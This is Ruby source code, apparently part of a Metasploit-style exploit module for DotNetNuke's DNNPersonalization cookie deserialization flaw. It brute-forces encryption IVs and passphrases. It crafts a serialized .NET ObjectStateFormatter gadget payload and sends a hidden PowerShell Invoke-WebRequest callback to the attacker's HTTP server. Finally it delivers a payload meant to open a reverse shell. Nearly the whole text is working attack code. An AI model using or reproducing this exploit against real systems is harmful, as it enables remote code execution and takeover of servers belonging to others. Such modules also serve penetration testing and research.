  def brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt)
    charset = "0123456789abcdef"
    if num_chars_needed == 0
      @decryptor.key = key
      @decryptor.iv = pt_prefix
      pt = @decryptor.update(cipher_text) + @decryptor.final
      iv = pt[0, 8]
      if @iv_regex.match(iv)
        pt = pt_prefix + found_pt
        if encrypt_data(@encryptor, pt, key + iv) == cipher_text
          @possible_ivs.add(String.new(iv))
        end
      end
      return
    end
    charset.length.times do |i|
      brute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed - 1, cipher_text, key, found_pt)
    end
  end

  # ========================================
  # Generate all possible payload encryption
  # passphrases for a v9.2.2+ target
  # ========================================
  def generate_payload_passphrases
    phrases = Set.new(@passphrases)
    @possible_keys.each do |key|
      @possible_ivs.each do |iv|
        phrase = Rex::Text.encode_base64(
          encrypt_data(@encryptor, key + iv, key + iv)
        )
        phrases.add(String.new(phrase[0, 16]))
      end
    end
    @passphrases = phrases.to_a
  end

  # ===========================================
  # Test all generated passphrases by initializing
  # an HTTP server to listen for a callback that
  # contains the index of the successful passphrase.
  # ===========================================
  def test_passphrases
    for i in 0..@passphrases.size - 1
      # Stop sending if we've found the passphrase
      if !@passphrase.empty?
        break
      end

      msg = format("Trying KEY and IV combination %<current>d of %<total>d...", current: i + 1, total: @passphrases.size)
      print("\r%bld%blu[*]%clr #{msg}")

      url = "#{get_uri}?#{get_resource.delete('/')}=#{i}"
      payload = create_request_payload(url)
      cookie = create_cookie(payload)

      # Encrypt cookie value
      enc_cookie = Rex::Text.encode_base64(
        encrypt_data(@encryptor, cookie, @passphrases[i])
      )
      if @dry_run
        print_line
        print_warning("DryRun enabled. No exploit payloads have been sent to the target.")
        print_warning("Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...")
        print_line(enc_cookie)
        break
      end
      execute_command(enc_cookie, host: datastore['RHOST'])
    end
  end

  # ===============================
  # Request handler for HTTP server.
  # ==============================
  def on_request_uri(cli, request)
    # Send 404 to prevent scanner detection
    send_not_found(cli)

    # Get found index - should be the only query string parameter
    if request.qstring.size == 1 && request.qstring[get_resource.delete('/').to_s]
      index = request.qstring[get_resource.delete('/').to_s].to_i
      @passphrase = String.new(@passphrases[index])
    end
  end

  # ==============================================
  # Create payload to callback to the HTTP server.
  # Note: This technically exploits the
  # vulnerability, but provides a way to determine
  # the valid passphrase needed to exploit again.
  # ==============================================
  def create_request_payload(url)
    psh_cmd = "/b /c start /b /min powershell.exe -nop -w hidden -noni -Command \"Invoke-WebRequest '#{url}'\""
    psh_cmd_bytes = psh_cmd.bytes.to_a

    cmd_size_bytes = write_encoded_int(psh_cmd.length)

    # Package payload into serialized object
    payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end

    object_size = write_encoded_int(payload_object.length)

    # Create the final seralized ObjectStateFormatter payload
    final_payload = @osf_header + object_size + payload_object

    b64_payload = Rex::Text.encode_base64(final_payload.pack("C*"))
    return b64_payload
  end

  # =============================================
  # Reproduce the WriteEncoded method in
  # the native .NET ObjectStateFormatter.cs file.
  # =============================================
  def write_encoded_int(value)
    enc = []
    while (value >= 0x80)
      v = value | 0x80
      enc.push([v].pack("V")[0].unpack1("C*"))
      value >>= 7
    end
    enc.push([value].pack("V")[0].unpack1("C*"))
    return enc
  end

  # =================================
  # Creates the payload cookie
  # using the specified payload
  # =================================
  def create_cookie(payload)
    cookie = "<profile>"\
             "<item key=\"k\" type=\"System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, "\
             "System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],"\
             "[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, "\
             "Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, "\
             "Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">"\
             "<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\
             "<ProjectedProperty0>"\
             "<MethodName>Deserialize</MethodName>"\
             "<MethodParameters>"\
             "<anyType xmlns:i=\"https://www.w3.org/2001/XMLSchema-instance\" "\
             "xmlns:d=\"https://www.w3.org/2001/XMLSchema\" i:type=\"d:string\" "\
             ">#{payload}</anyType>"\
             "</MethodParameters>"\
             "<ObjectInstance xmlns:i=\"https://www.w3.org/2001/XMLSchema-instance\" "\
             "i:type=\"ObjectStateFormatter\" />"\
             "</ProjectedProperty0>"\
             "</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\
             "</item>"\
             "</profile>"
    return cookie
  end

  # =========================================
  # Send the payload to the target server.
  # =========================================
  def execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port })
    uri = normalize_uri(target_uri.path)

    res = send_request_cgi(
      'uri' => uri,
      'cookie' => ".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};"
    )
    if !res
      fail_with(Failure::Unreachable, "#{opts[:host]} - target unreachable.")
    elsif res.code == 404
      return true
    elsif res.code == 400
      fail_with(Failure::BadConfig, "#{opts[:host]} - payload resulted in a bad request - #{res.body}")
    else
      fail_with(Failure::Unknown, "#{opts[:host]} - Something went wrong- #{res.body}")
    end
  end

  # ======================================
  # Create and send final exploit payload
  # to obtain a reverse shell.
  # ======================================
  def send_exploit_payload
    cmd_payload = create_payload
    cookie_payload = create_cookie(cmd_payload)
    if @encrypted
      if @passphrase.blank?
        print_error("Target requires encrypted payload, but a passphrase was not found or specified.")
        return
      end
      cookie_payload = Rex::Text.encode_base64(
        encrypt_data(@encryptor, cookie_payload, @passphrase)
      )
    end
    if @dry_run
      print_warning("DryRun enabled. No exploit payloads have been sent to the target.")
      print_warning("Printing exploit cookie payload...")
      print_line(cookie_payload)
      return
    end

    # Set up the payload handlers
    payload_instance.setup_handler

    # Start the payload handler
    payload_instance.start_handler

    print_status("Sending Exploit Payload to: #{normalize_uri(target_uri.path)} ...")
    execute_command(cookie_payload, host: datastore['RHOST'])
  end

  # ===================================
  # Create final exploit paylod based on
  # supplied payload options.
  # ===================================
  def create_payload
    # Create payload
    psh_cmd = "/b /c start /b /min " + cmd_psh_payload(
      payload.encoded,
      payload_instance.arch.first,
      remove_comspec: true, encode_final_payload: false
    )

    psh_cmd_bytes = psh_cmd.bytes.to_a
    cmd_size_bytes = write_encoded_int(psh_cmd.length)

    # Package payload into serialized object
    payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end
    object_size = write_encoded_int(payload_object.length)

    # Create the final seralized ObjectStateFormatter payload
    final_payload = @osf_header + object_size + payload_object
    b64_payload = Rex::Text.encode_base64(final_payload.pack("C*"))

    vprint_status("Payload Object Created.")

    return b64_payload
  end
end